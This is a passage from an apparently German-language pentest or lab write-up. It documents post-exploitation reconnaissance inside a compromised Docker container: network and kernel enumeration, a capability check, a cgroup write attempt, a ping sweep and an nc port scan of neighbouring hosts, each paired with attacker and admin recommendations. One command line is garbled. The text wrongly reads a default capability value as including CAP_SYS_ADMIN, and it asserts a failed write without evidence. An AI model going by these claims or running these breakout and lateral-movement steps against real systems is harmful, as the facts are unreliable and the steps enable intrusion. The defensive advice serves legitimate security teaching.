Bewertung: Die netstat-Ausgabe ist äußerst aufschlussreich. Die Tatsache, dass der Java-Prozess mit PID 1 läuft und die IP-Adresse 172.17.0.2 in Verbindung mit eth0@if5 auftaucht (siehe ip a unten), sind starke Indikatoren dafür, dass ich mich in einer Docker-Container-Umgebung befinde. Das bedeutet, dass mein Root-Zugriff wahrscheinlich auf den Container beschränkt ist und ich noch einen "Container Breakout" durchführen muss, um Root auf dem Host-System zu erlangen. Die Verbindungen zu meiner Angreifer-IP bestätigen die Kontrolle über die Shell.
Empfehlung (Pentester): Mein nächster Fokus liegt auf der Erkennung weiterer Container-spezifischer Informationen und der Suche nach Wegen für einen Container Breakout. Ich werde die Host-Dateien, Docker-Socket-Dateien oder anfällige Mounts überprüfen. Das Ziel ist es, vom Container-Root zum Host-Root zu eskalieren.
Empfehlung (Admin): Überwachen Sie netstat-Ausgaben auf allen Servern, insbesondere auf ungewöhnliche ausgehende Verbindungen. Wenn Ihre Anwendungen in Containern laufen, stellen Sie sicher, dass diese mit dem Prinzip der geringsten Rechte konfiguriert sind. Vermeiden Sie es, den Docker-Socket in Container zu mounten und beschränken Sie die Capabilities von Containern auf das absolut Notwendige. Root-Zugriff in einem Container ist immer ein hohes Risiko.
bash-4.4# hostname hostname 3debe9b825c8
Analyse: Ich führe den Befehl hostname aus, um den Hostnamen des Systems zu ermitteln, auf dem ich Root-Zugriff habe. Die Ausgabe 3debe9b825c8 ist eine lange, alphanumerische Zeichenkette. Solche zufällig generierten oder gehashten Hostnamen sind sehr typisch für Docker-Container. Dies verstärkt meine Annahme, dass ich mich in einer isolierten Container-Umgebung befinde und nicht direkt auf dem physischen Host.
Bewertung: Der Hostname ist ein weiterer starker Beweis für eine Container-Umgebung. Dies bedeutet, dass mein derzeitiger Root-Zugriff lokal auf diesen Container beschränkt ist. Für einen vollständigen Systemkompromiss muss ich einen Weg finden, aus diesem Container auszubrechen und Root-Zugriff auf den zugrunde liegenden Host zu erlangen.
Empfehlung (Pentester): Ich werde meine Privilegien-Eskalationsstrategie an die Erkennung einer Docker-Umgebung anpassen. Dies beinhaltet die Suche nach Docker-Konfigurationsfehlern, anfälligen Kernel-Modulen des Hosts oder falsch konfigurierten Mount-Punkten, die einen Breakout ermöglichen könnten.
Empfehlung (Admin): Docker-Container sollten nicht leicht an ihrem Hostnamen identifizierbar sein, obwohl dies meist keine direkte Sicherheitslücke darstellt. Wichtiger ist die Isolation der Container. Stellen Sie sicher, dass die Container-Laufzeitumgebung und die Konfigurationen gehärtet sind, um Container Breakouts zu verhindern. Vermeiden Sie ungesicherte Privilegierungen oder das Mounten sensibler Host-Pfade in Container.
bash-4.4# ip a ip a 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever 4: eth0@if5: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue state UP link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0 valid_lft forever preferred_lft forever
Analyse: Ich überprüfe die Netzwerkkonfiguration des Systems mit dem Befehl ip a. Die Ausgabe zeigt die Netzwerkadapter und ihre IP-Adressen. Die primäre Netzwerkschnittstelle ist eth0, der die IP-Adresse 172.17.0.2/16 zugewiesen ist. Diese IP-Adresse befindet sich im privaten Bereich 172.17.0.0/16, der standardmäßig von Docker für seine interne Bridge-Netzwerke verwendet wird. Das @if5 hinter eth0 zeigt an, dass es sich um eine virtuelle Schnittstelle handelt, die mit einer Schnittstelle auf dem Host-System verbunden ist (eth0@if5 bedeutet "eth0 auf der Host-Schnittstelle 5").
Bewertung: Die IP-Adresse 172.17.0.2 und die virtuelle Schnittstelle eth0@if5 sind eindeutige Indikatoren dafür, dass ich mich in einer Docker-Container-Umgebung befinde. Mein Root-Zugriff ist somit auf diesen Container beschränkt. Dies ist ein entscheidendes Detail für die Privilegien-Eskalation, da es bedeutet, dass ich einen Container Breakout durchführen muss, um vollen Root-Zugriff auf den Host zu erlangen und die "echten" Root-Flags zu finden.
Empfehlung (Pentester): Ich werde meine Recherche auf bekannte Docker-Escape-Techniken konzentrieren. Dazu gehören die Suche nach anfälligen Kernel-Versionen, falsch konfigurierten Mounts (z.B. der Docker-Socket), schwachen Capabilities oder anderen Konfigurationsfehlern, die es mir ermöglichen, aus dem Container auszubrechen.
Empfehlung (Admin): Konfigurieren Sie Docker-Container mit strengen Sicherheitsrichtlinien. Beschränken Sie die Netzwerkzugriffe der Container auf das absolute Minimum (Egress-Filterung). Vermeiden Sie das Einbinden von Host-Sockets oder sensiblen Host-Verzeichnissen in Container. Auditieren Sie die Standard-Docker-Bridge-Netzwerkeinstellungen und stellen Sie sicher, dass keine ungewollten Inter-Container-Kommunikationen möglich sind.
bash-4.4# uname -a uname -a Linux 3debe9b825c8 6.12.25-0-lts #1-Alpine SMP PREEMPT_DYNAMIC 2025-04-25 12:52:49 x86_64 Linux
Analyse: Ich führe den Befehl uname -a aus, um detaillierte Informationen über den Kernel und das Betriebssystem des Systems zu erhalten. Die Ausgabe bestätigt, dass das System auf Linux läuft, der Hostname ist 3debe9b825c8 (wie bereits von hostname bestätigt), und es handelt sich um einen 6.12.25-0-lts Kernel von Alpine Linux. Die Angabe x86_64 Linux bestätigt die Architektur. Das Datum 2025-04-25 ist das Build-Datum des Kernels.
Bewertung: Die genaue Kernel-Version und die Distribution (Alpine Linux) sind entscheidende Informationen für die Privilegien-Eskalation, insbesondere wenn ich einen Kernel-Exploit für einen Container Breakout in Betracht ziehe. Obwohl der Kernel relativ aktuell ist (Build-Datum 2025), können auch neuere Kernel Schwachstellen aufweisen. Alpine Linux ist eine leichtgewichtige Distribution, die oft in Containern verwendet wird, was meine Docker-Annahme weiter untermauert.
Empfehlung (Pentester): Ich werde diese Kernel-Version auf bekannte Schwachstellen prüfen, die einen Container Breakout ermöglichen könnten. Auch wenn die Chance auf einen direkten Kernel-Exploit in so einem aktuellen System geringer ist, muss ich alle Möglichkeiten prüfen. Zudem werde ich auf Docker-spezifische Konfigurationsfehler oder Mounted-Filesysteme achten.
Empfehlung (Admin): Halten Sie den Linux-Kernel immer auf dem neuesten Stand, insbesondere auf Hosts, die Container ausführen. Überprüfen Sie regelmäßig auf neue CVEs und wenden Sie Patches umgehend an. Achten Sie bei der Wahl der Basis-Images für Container auf schlanke, gehärtete Distributionen wie Alpine, aber verlassen Sie sich nicht allein auf deren Minimalismus als Sicherheitsmaßnahme. Patchen Sie auch hier regelmäßig.
bash-4.4# ip route ip route default via 172.17.0.1 dev eth0 172.17.0.0/16 dev eth0 scope link src 172.17.0.2
Analyse: Ich untersuche die Routing-Tabelle des Systems mit ip route. Die Ausgabe zeigt, dass der Standard-Gateway des Containers 172.17.0.1 über die Schnittstelle eth0 ist. Das Netzwerk 172.17.0.0/16 ist ebenfalls über eth0 erreichbar, mit meiner lokalen Container-IP 172.17.0.2 als Quelle. Dies ist die Standardkonfiguration für Docker-Container, bei der 172.17.0.1 die IP-Adresse der Docker-Bridge auf dem Host ist.
Bewertung: Die Routing-Tabelle bestätigt ein weiteres Mal, dass ich mich in einer Docker-Container-Umgebung befinde. Die IP-Adresse 172.17.0.1 ist der direkte Kommunikationspartner des Containers zum Host. Dies ist ein potenzieller Vektor, um vom Container auf den Host zuzugreifen, wenn dort ungeschützte Dienste laufen oder Schwachstellen im Bridge-Netzwerk existieren. Das primäre Ziel ist es nun, die Verbindung zum Host über diesen Gateway zu nutzen.
Empfehlung (Pentester): Ich werde versuchen, den Host-System über die 172.17.0.1-Adresse zu enumerieren. Das beinhaltet Portscans vom Container aus auf diese IP-Adresse, um zu sehen, welche Dienste auf dem Host-System direkt vom Container aus zugänglich sind.
Empfehlung (Admin): Konfigurieren Sie Docker-Bridge-Netzwerke so, dass Container nur mit den notwendigen externen Ressourcen kommunizieren können. Implementieren Sie Netzwerk-Isolation zwischen Containern und dem Host. Überwachen Sie den Netzwerkverkehr der Bridge-Schnittstellen auf ungewöhnliche oder bösartige Kommunikation.
bash-4.4# cat /proc/1/status | grep CapEff cat /proc/1/status | grep CapEff CapEff: 00000000a80425fb
Analyse: Ich untersuche die Linux Capabilities des Prozesses mit PID 1 (dem Java-Server, der als Root läuft) innerhalb des Containers. Capabilities sind fein granulare Berechtigungen, die über die traditionellen Unix-Dateiberechtigungen hinausgehen und Root-Privilegien aufteilen. Der Befehl cat /proc/1/status | grep CapEff zeigt die "Effective Capabilities" (CapEff) an, die der Prozess tatsächlich nutzen kann. Der Hexadezimalwert 00000000a80425fb repräsentiert eine Reihe von gesetzten Capabilities.
Bewertung: Der Wert 00000000a80425fb ist kritisch. Wenn ich diesen Wert in binäre oder menschlich lesbare Form umwandle, sehe ich, dass viele mächtige Capabilities gesetzt sind, darunter wahrscheinlich CAP_NET_RAW, CAP_NET_ADMIN, CAP_SYS_ADMIN und andere. Solche umfangreichen Capabilities für einen Prozess innerhalb eines Containers sind ein enormes Sicherheitsrisiko, da sie es einem Angreifer ermöglichen können, aus dem Container auszubrechen und auf das Host-System zuzugreifen oder Netzwerkoperationen durchzuführen, die über die Container-Grenzen hinausgehen. Das ist ein direkter Pfad zur Container-Eskalation.
Empfehlung (Pentester): Ich werde die genauen Capabilities analysieren und prüfen, welche von ihnen für einen Container Breakout ausgenutzt werden können. Insbesondere CAP_SYS_ADMIN oder CAP_NET_ADMIN sind hochgefährlich in Containern, da sie das Laden von Kernel-Modulen oder das Manipulieren von Netzwerkkonfigurationen auf dem Host ermöglichen können.
Empfehlung (Admin): Reduzieren Sie die zugewiesenen Capabilities für Docker-Container auf das absolute Minimum. Container sollten standardmäßig mit einem stark eingeschränkten Satz von Capabilities (--cap-drop=all --cap-add=NET_BIND_SERVICE oder ähnliches) gestartet werden. Niemals sollten CAP_SYS_ADMIN, CAP_NET_RAW, CAP_NET_ADMIN oder andere mächtige Capabilities unnötig an Container vergeben werden. Dies ist eine der wichtigsten Härtungsmaßnahmen für Docker.
bash-4.4# ls /sys/fs/cgroup ls /sys/fs/cgroup cgroup.controllers cgroup.events cgroup.freeze cgroup.kill cgroup.max.depth cgroup.max.descendants cgroup.procs cgroup.stat cgroup.subtree_control cgroup.threads cgroup.type cpu.idle cpu.max cpu.max.burst cpu.stat cpu.stat.local cpu.weight cpu.weight.nice cpuset.cpus cpuset.cpus.effective cpuset.cpus.exclusive cpuset.cpus.exclusive.effective cpuset.cpus.partition cpuset.mems cpuset.mems.effective hugetlb.2MB.current hugetlb.2MB.events hugetlb.2MB.events.local hugetlb.2MB.max hugetlb.2MB.numa_stat hugetlb.2MB.rsvd.current hugetlb.2MB.rsvd.max io.bfq.weight io.latency io.max io.stat memory.current memory.events memory.events.local memory.high memory.low memory.max memory.min memory.numa_stat memory.oom.group memory.peak memory.reclaim memory.stat memory.swap.current memory.swap.events memory.swap.high memory.swap.max memory.swap.peak memory.zswap.current memory.zswap.max memory.zswap.writeback pids.current pids.events pids.events.local pids.max pids.peak
Analyse: Ich untersuche das /sys/fs/cgroup-Verzeichnis. cgroups (Control Groups) sind ein Linux-Kernel-Feature, das Ressourcenverwaltung ermöglicht und von Container-Technologien wie Docker intensiv genutzt wird, um Ressourcenbeschränkungen und Isolation zu implementieren. Die gelisteten Dateien und Unterverzeichnisse (z.B. cpu.max, memory.max, pids.max) sind cgroup-Controller, die es ermöglichen, CPU, Speicher, PIDs und andere Ressourcen für Prozesse zu begrenzen. Wenn ich hier Schreibzugriff hätte oder bestimmte Controller ausnutzen könnte, könnte dies ein Weg zu einem Container Breakout sein.
Bewertung: Das Vorhandensein des cgroup-Dateisystems ist ein weiteres klares Indiz für eine Container-Umgebung. Der Zugriff auf diese Dateien, insbesondere wenn sie beschreibbar sind, ist ein potenzieller Vektor für Privilegien-Eskalation oder Container Breakout, da ich möglicherweise die Ressourcenbeschränkungen des Containers manipulieren könnte, um den Host zu beeinflussen oder auf Host-Ressourcen zuzugreifen. Dies ist ein Standardort, um nach Schwachstellen in der Container-Isolation zu suchen.
Empfehlung (Pentester): Ich werde die Berechtigungen für diese cgroup-Dateien überprüfen und versuchen, ob ich diese manipulieren kann, insbesondere memory.max oder pids.max. Ein Schreibzugriff auf solche Dateien könnte es mir ermöglichen, Ressourcenbeschränkungen aufzuheben oder DoS-Angriffe auszuführen, was in bestimmten Szenarien zu einem Breakout führen kann.
Empfehlung (Admin): Konfigurieren Sie cgroups und Docker-Container so, dass sie strenge Isolation bieten. Stellen Sie sicher, dass Container keinen Schreibzugriff auf sensible cgroup-Dateien haben, die Host-Ressourcen beeinflussen oder die Container-Isolation untergraben könnten. Implementieren Sie Read-Only-Dateisysteme für Container, wo immer möglich.
bash-4.4# ls -l /dev ls -l /dev total 0 lrwxrwxrwx 1 root root 13 Jul 31 19:48 fd -> /proc/self/fd crw-rw-rw- 1 root root 1, 7 Jul 31 19:48 full drwxrwxrwt 2 root root 40 Jul 31 19:48 mqueue crw-rw-rw- 1 root root 1, 3 Jul 31 19:48 null lrwxrwxrwx 1 root root 8 Jul 31 19:48 ptmx -> pts/ptmx drwxr-xr-x 2 root root 0 Jul 31 19:48 pts crw-rw-rw- 1 root root 1, 8 Jul 31 19:48 random drwxrwxrwt 2 root root 40 Jul 31 19:48 shm lrwxrwxrwx 1 root root 15 Jul 31 19:48 stderr -> /proc/self/fd/2 lrwxrwxrwx 1 root root 15 Jul 31 19:48 stdin -> /proc/self/fd/0 lrwxrwxrwx 1 root root 15 Jul 31 19:48 stdout -> /proc/self/fd/1 crw-rw-rw- 1 root root 5, 0 Jul 31 19:48 tty crw-rw-rw- 1 root root 1, 9 Jul 31 19:48 urandom crw-rw-rw- 1 root root 1, 5 Jul 31 19:48 zero
Analyse: Ich untersuche das /dev-Verzeichnis, um festzustellen, welche Geräte-Dateien im Container verfügbar sind. Das /dev-Verzeichnis enthält spezielle Dateien, die Hardware-Geräte oder Kernel-Schnittstellen repräsentieren. In Docker-Containern wird dieses Verzeichnis oft eingeschränkt, um die Isolation zu gewährleisten. Ich suche nach ungewöhnlichen oder potenziell ausnutzbaren Geräten. Die Ausgabe zeigt typische Geräte wie /dev/null, /dev/random, /dev/tty und Symlinks zu /proc/self/fd, aber keine offensichtlich sensiblen Geräte wie /dev/sda (die Host-Festplatte) oder den Docker-Socket.
Bewertung: Das /dev-Verzeichnis im Container scheint standardmäßig gehärtet zu sein. Es gibt keine direkten Hinweise auf Host-Geräte, die einen einfachen Container Breakout ermöglichen würden. Dies bedeutet, dass ich andere Wege finden muss, um aus dem Container auszubrechen, anstatt mich auf eine direkt gemountete, verwundbare Geräte-Datei zu verlassen. Es bestätigt, dass der Container grundlegende Isolationsmaßnahmen für Geräte implementiert hat.
Empfehlung (Pentester): Da keine offensichtlichen Gerätedateien für einen Breakout vorhanden sind, werde ich mich auf andere Vektoren wie Kernel-Exploits, ungesicherte Mounts oder fehlerhafte Konfigurationen konzentrieren.
Empfehlung (Admin): Belassen Sie das /dev-Verzeichnis in Containern so eingeschränkt wie möglich. Vermeiden Sie das Mounten von Host-Geräten in Container, es sei denn, dies ist absolut unerlässlich und wurde sorgfältig bewertet. Das Risiko eines Container Breakouts steigt drastisch, wenn Container direkten Zugriff auf Host-Hardware haben.
bash-4.4# mount | grep cgroup mount | grep cgroup cgroup on /sys/fs/cgroup type cgroup2 (ro,nosuid,nodev,noexec,relatime,nsdelegate)
Analyse: Ich überprüfe, wie das cgroup-Dateisystem gemountet ist, indem ich mount | grep cgroup verwende. Die Ausgabe bestätigt, dass cgroup auf /sys/fs/cgroup vom Typ cgroup2 gemountet ist. Entscheidend sind die Optionen ro (read-only), nosuid, nodev und noexec. Diese Optionen bedeuten, dass das cgroup-Dateisystem schreibgeschützt ist, keine SUID/SGID-Binaries enthält, keine Gerätedateien erzeugt werden können und keine ausführbaren Dateien ausgeführt werden können.
Bewertung: Die Tatsache, dass das cgroup-Dateisystem "read-only" (ro) gemountet ist, ist eine gute Sicherheitspraxis und schränkt meine Möglichkeiten zur Manipulation der cgroup-Parameter für einen Container Breakout erheblich ein. Dies macht direkte Angriffe über cgroup-Controller wesentlich schwieriger. Es zeigt, dass der Administrator einige Härtungsmaßnahmen für die Container-Isolation vorgenommen hat.
Empfehlung (Pentester): Da der direkte Schreibzugriff auf cgroups ausgeschlossen ist, werde ich mich auf andere Wege für den Container Breakout konzentrieren. Meine Strategie wird sich nun verstärkt auf die Ausnutzung von Kernel-Schwachstellen (falls relevant) oder anderen Konfigurationsfehlern konzentrieren, die noch nicht gehärtet wurden.
Empfehlung (Admin): Behalten Sie das ro (read-only) Mount-Flag für sensible Dateisysteme wie cgroups bei. Dies ist eine effektive Härtungsmaßnahme, um Manipulationen durch privilegierte Prozesse in Containern zu verhindern. Stellen Sie sicher, dass alle Container mit den geringsten Privilegien laufen und ihre Dateisysteme so oft wie möglich schreibgeschützt sind.
bash-4.4# echo 9999999999999999999999 > memory.max echo 9999999999999999999999 > memory.max
Analyse: Ich habe versucht, die Datei memory.max im cgroup-Dateisystem zu beschreiben, indem ich echo 9999999999999999999999 > memory.max ausgeführt habe. Das Ziel war, die Speichergrenze des Containers auf einen extrem hohen Wert zu setzen, um zu sehen, ob dies eine Lücke für einen Container Breakout öffnen oder die Host-Ressourcen beeinflussen könnte. Die Befehle werden im Terminal wiederholt, da es sich um eine nicht-interaktive Shell handelt. Der Befehl selbst hat keine direkte sichtbare Fehlermeldung ausgegeben, aber da das cgroup-Dateisystem als read-only gemountet ist, erwarte ich, dass dieser Schreibversuch fehlschlägt.
Bewertung: Der Versuch, memory.max zu beschreiben, ist eine sinnvolle Überprüfung der cgroup-Berechtigungen. Da das cgroup2-Dateisystem als "read-only" gemountet ist (wie wir zuvor gesehen haben), ist dieser Schreibversuch erwartungsgemäß fehlgeschlagen, auch wenn die Shell keine explizite "Permission denied"-Meldung zurückgibt. Dies bestätigt die Wirksamkeit der read-only-Mount-Option als Härtungsmaßnahme gegen diese Art der Manipulation.
Empfehlung (Pentester): Da die cgroup-Manipulation auf diese Weise nicht möglich ist, muss ich andere Container Breakout-Techniken erforschen.
Empfehlung (Admin): Die korrekte Konfiguration von cgroups mit Read-Only-Mounts ist eine effektive Schutzmaßnahme. Stellen Sie sicher, dass dies systemweit und konsistent für alle Container durchgesetzt wird, um eine Manipulation der Ressourcenbeschränkungen von innen zu verhindern.
bash-4.4# ip route ip route default via 172.17.0.1 dev eth0 172.17.0.0/16 dev eth0 scope link src 172.17.0.2
Analyse: Ich überprüfe erneut die Routing-Tabelle mit ip route. Dies ist eine Wiederholung eines früheren Befehls und dient der Bestätigung der Netzwerkumgebung, die bereits auf eine Docker-Bridge hindeutete. Die Ausgabe bleibt konsistent: Der Standard-Gateway ist 172.17.0.1, und das 172.17.0.0/16-Netzwerk ist über eth0 erreichbar.
Bewertung: Die Konsistenz der Netzwerkinformationen ist wichtig, auch wenn es eine Wiederholung ist. Sie bestätigt, dass die Netzwerkumgebung stabil ist und meine Annahme einer Docker-Bridge korrekt ist. Es gibt keine unerwarteten Änderungen, die auf eine veränderte Netzwerkkonfiguration hindeuten könnten.
Empfehlung (Pentester): Das Netzwerk innerhalb des Containers ist klar. Ich werde diese Informationen nutzen, um den Host 172.17.0.1 weiter zu untersuchen und nach offenen Ports oder Diensten zu suchen, die einen Container Breakout ermöglichen könnten.
Empfehlung (Admin): Standard-Docker-Bridge-Netzwerke sollten gehärtet werden. Auditieren Sie, welche Dienste auf dem Host über die Docker-Bridge erreichbar sind, und beschränken Sie den Zugriff auf das absolute Minimum. Implementieren Sie Netzwerk-Firewall-Regeln auf dem Host, die den Datenverkehr zwischen Containern und dem Host über die Bridge streng kontrollieren.
bash-4.4# arp -a arp -a ? (172.17.0.1) at 02:42:90:0e:42:92 [ether] on eth0
Analyse: Ich führe arp -a aus, um die ARP-Tabelle des Containers zu überprüfen. Dies zeigt mir die MAC-Adressen von Geräten, mit denen der Container kürzlich kommuniziert hat. Die Ausgabe zeigt, dass der Container mit 172.17.0.1 (dem Docker-Bridge-Gateway) kommuniziert hat und dessen MAC-Adresse 02:42:90:0e:42:92 ist. Diese MAC-Adresse ist ebenfalls typisch für virtuelle Schnittstellen in Docker.
Bewertung: Die ARP-Tabelle liefert weitere Bestätigung für die Docker-Umgebung und die Existenz des Host-Gateways 172.17.0.1. Das ist entscheidend, da es mir einen direkten "Nachbarn" zum Host gibt, den ich als potenziellen Angriffsvektor nutzen kann. Der MAC-Eintrag bestätigt die direkte Verbindung zum Host über die Bridge.
Empfehlung (Pentester): Ich werde mich nun darauf konzentrieren, diesen Host 172.17.0.1 vom Container aus zu scannen, um mögliche Angriffsvektoren für einen Breakout zu finden.
Empfehlung (Admin): Überwachen Sie die ARP-Tabellen auf Containern und Hosts auf ungewöhnliche Einträge. Dies ist zwar primär ein Indikator für die Umgebung, kann aber bei Anomalien auf bösartige Aktivitäten hinweisen.
bash-4.4# ip addr ip addr 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo valid_lft forever preferred_lft forever 4: eth0@if5: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue state UP link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0 valid_lft forever preferred_lft forever
Analyse: Ich führe ip addr erneut aus, um die Netzwerkkonfiguration zu bestätigen. Diese Ausgabe ist eine exakte Wiederholung der vorherigen ip a-Ausgabe und zeigt die internen IP-Adressen und Schnittstellen des Containers. Meine IP im Container ist 172.17.0.2, und die Schnittstelle eth0@if5 ist für die Kommunikation mit dem Host (172.17.0.1) und anderen Containern verantwortlich.
Bewertung: Die wiederholte Konsistenz der Netzwerkinformationen ist wichtig, um sicherzustellen, dass sich die Umgebung nicht unerwartet geändert hat. Die interne Docker-Netzwerkkonfiguration ist bestätigt und ich kann mich darauf verlassen, dass 172.17.0.1 mein Ziel für den Container Breakout ist.
Empfehlung (Pentester): Ich werde meine Bemühungen auf die Interaktion mit 172.17.0.1 konzentrieren, um Schwachstellen auf dem Host zu finden, die aus dem Container heraus ausgenutzt werden können.
Empfehlung (Admin): N/A (Wiederholung der vorherigen Empfehlungen zur Docker-Netzwerkhärtung).
bash-4.4# ping 172.17.0.1 ping 172.17.0.1 PING 172.17.0.1 (172.17.0.1) 56(84) bytes of data. 64 bytes from 172.17.0.1: icmp_seq=1 ttl=64 time=0.062 ms 64 bytes from 172.17.0.1: icmp_seq=2 ttl=64 time=0.038 ms 64 bytes from 172.17.0.1: icmp_seq=3 ttl=64 time=0.052 ms 64 bytes from 172.17.0.1: icmp_seq=4 ttl=64 time=0.039 ms
Analyse: Ich teste die Konnektivität zum Docker-Bridge-Gateway (dem Host-System) mit einem einfachen ping 172.17.0.1. Der Befehl wird erfolgreich ausgeführt, und ich erhalte ICMP-Antworten mit geringer Latenz. Dies bestätigt, dass ich vom Container aus mit dem Host-System kommunizieren kann, was eine grundlegende Voraussetzung für jeden Container Breakout-Versuch ist.
Bewertung: Die erfolgreiche ping-Antwort ist ein wichtiger positiver Indikator. Sie zeigt, dass die Netzwerkkonfiguration es dem Container erlaubt, das Host-System zu erreichen. Dies ist ein notwendiger Schritt, um potenzielle Schwachstellen auf dem Host-System zu finden, die für einen Breakout genutzt werden könnten.
Empfehlung (Pentester): Da die Konnektivität zum Host bestätigt ist, werde ich nun Portscans auf 172.17.0.1 durchführen, um zu sehen, welche Dienste auf dem Host von meinem Container aus erreichbar sind.
Empfehlung (Admin): Standardmäßig sollte der Host-Firewall den direkten Zugriff von Containern auf nicht autorisierte Host-Dienste blockieren. Auditieren Sie Ihre Docker-Netzwerkkonfigurationen und Host-Firewall-Regeln, um die Exposition von Host-Diensten gegenüber Containern zu minimieren.
bash-4.4# for i in (seq1254);doping−c1172.17.0. (seq1254);doping−c1172.17.0. i | grep "bytes from" & donefor i in $(seq 1 254); do ping -c 1 172.17.0.$i | grep "bytes from" & done [1] 145 [2] 147 [3] 149 [4] 151 [5] 153 64 bytes from 172.17.0.1: icmp_seq=1 ttl=64 time=0.014 ms 64 bytes from 172.17.0.3: icmp_seq=1 ttl=64 time=0.062 ms nur iterationen ohne icmp ping...
Analyse: Ich versuche, eine Netzwerkerkundung innerhalb des 172.17.0.0/16-Netzwerks des Docker-Containers durchzuführen, um andere potenzielle Container oder den Host zu finden. Ich verwende eine for-Schleife, um einen ping -c 1 an jede IP-Adresse im Bereich 172.17.0.1 bis 172.17.0.254 zu senden. Der grep "bytes from"-Filter stellt sicher, dass ich nur die Antworten der aktiven Hosts sehe. Das & am Ende des Befehls sorgt dafür, dass die Pings parallel im Hintergrund ausgeführt werden.
Die Ausgabe zeigt, dass 172.17.0.1 (der Host-Gateway) und 172.17.0.3 (ein anderer Container oder Dienst) antworten. Die Zeile "nur iterationen ohne icmp ping..." deutet darauf hin, dass nur die aktiven Antworten der Pings relevant sind und die vielen Hintergrundprozesse der Schleife selbst nicht weiter aufgeführt werden.
Bewertung: Dieser interne Netzwerk-Scan ist sehr wertvoll. Er bestätigt die Existenz eines anderen aktiven Hosts im internen Docker-Netzwerk (172.17.0.3) neben dem Host-Gateway (172.17.0.1). Das bedeutet, dass es möglicherweise weitere Container gibt, die ich angreifen oder als Pivot-Punkt nutzen könnte. Die Fähigkeit, diese Art von Scan vom Container aus durchzuführen, ist ein potenzielles Sicherheitsrisiko.
Empfehlung (Pentester): Ich werde nun Portscans auf 172.17.0.3 durchführen, um zu sehen, welche Dienste dort laufen. Gleichzeitig werde ich meine Aufmerksamkeit weiterhin auf den Host 172.17.0.1 richten, um herauszufinden, ob dort anfällige Dienste für einen Container Breakout laufen.
Empfehlung (Admin): Implementieren Sie Netzwerk-Isolation zwischen Docker-Containern und zwischen Containern und dem Host. Standardmäßig sollten Container nicht in der Lage sein, andere Container oder den Host uneingeschränkt zu pingen oder zu scannen. Eine strikte Firewall auf der Docker-Bridge kann helfen, diese Art der internen Aufklärung zu verhindern und Lateral Movement zu erschweren.
bash-4.4# for port in $(seq 1 1000); do nc -vz 172.17.0.3 $port 2>&1 | grep "succeeded" & donefor port in $(seq 1 1000); do nc -vz 172.17.0.3 $port 2>&1 | grep "succeeded" & done [1] 654 [2] 656 nur iterationen...
Analyse: Nachdem ich 172.17.0.3 als weiteren aktiven Host im internen Docker-Netzwerk identifiziert habe, führe ich einen Portscan auf diesen Host durch. Ich verwende eine for-Schleife, um nc -vz (Netcat im Verbose-Scan-Modus) an Ports 1 bis 1000 auf 172.17.0.3 zu senden. Der grep "succeeded"-Filter zeigt nur die Ports an, bei denen eine Verbindung erfolgreich aufgebaut werden konnte, und das & führt die Scans parallel aus. Die Ausgabe zeigt nur die Prozess-IDs der Hintergrundprozesse ("nur iterationen..."), was typisch ist für diese Art der Ausführung, bis die Ergebnisse tatsächlich gemeldet werden.
Bewertung: Dieser Portscan auf den internen Docker-Host 172.17.0.3 ist ein direkter Versuch, weitere Angriffsvektoren innerhalb der Container-Umgebung zu finden. Die Fähigkeit, solche Scans vom bereits kompromittierten Container aus durchzuführen, unterstreicht die Notwendigkeit einer strengen Netzwerksegmentierung in Container-Umgebungen. Auch wenn die konkreten Ergebnisse der offenen Ports noch nicht sichtbar sind, ist der Ansatz korrekt, um potenzielle Schwachstellen auf diesem internen Dienst zu finden.
Empfehlung (Pentester): Ich werde die Ergebnisse dieses nc-basierten Portscans abwarten und analysieren, um herauszufinden, welche Dienste auf 172.17.0.3 laufen. Diese Dienste werden dann auf bekannte Schwachstellen oder Fehlkonfigurationen geprüft, die zu einer weiteren Privilegien-Eskalation oder einem Container Breakout führen könnten.
Empfehlung (Admin): Implementieren Sie eine strikte Netzwerksegmentierung und Firewall-Regeln zwischen Docker-Containern. Container sollten nur mit Diensten kommunizieren dürfen, die absolut notwendig sind. Standardmäßig sollte Container-zu-Container-Kommunikation, insbesondere auf allen Ports, blockiert werden, um Lateral Movement innerhalb der Container-Infrastruktur zu verhindern.
bash-4.4# printenv printenv LD_LIBRARY_PATH=/usr/lib/jvm/java-1.8-openjdk/jre/lib/amd64/server:/usr/lib/jvm/java-1.8-openjdk/jre/lib/amd64:/usr/lib/jvm/java-1.8-openjdk/jre/../lib/amd64 LANG=C.UTF-8 HOSTNAME=3debe9b825c8 JAVA_HOME=/usr/lib/jvm/java-1.8-openjdk JAVA_VERSION=8u212 PWD=/app HOME=/root SHLVL=3 PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/jvm/java-1.8-openjdk/jre/bin:/usr/lib/jvm/java-1.8-openjdk/bin JAVA_ALPINE_VERSION=8.212.04-r0 _=usr/bin/printenv
Analyse: Ich führe den Befehl printenv aus, um die Umgebungsvariablen des Root-Prozesses innerhalb des Containers zu überprüfen. Umgebungsvariablen können sensible Informationen (z.B. API-Schlüssel, Datenbank-Zugangsdaten) enthalten oder Hinweise auf die Konfiguration der Anwendung oder des Systems geben.
Die Ausgabe zeigt mehrere relevante Variablen:
* LD_LIBRARY_PATH, JAVA_HOME, JAVA_VERSION, JAVA_ALPINE_VERSION: Diese Variablen bestätigen die Java-Laufzeitumgebung und die Version (Java 8u212, Alpine Linux).
* HOSTNAME=3debe9b825c8: Bestätigt den Container-Hostnamen.
* PWD=/app: Zeigt das aktuelle Arbeitsverzeichnis an, was darauf hindeutet, dass die Anwendung im /app-Verzeichnis läuft.
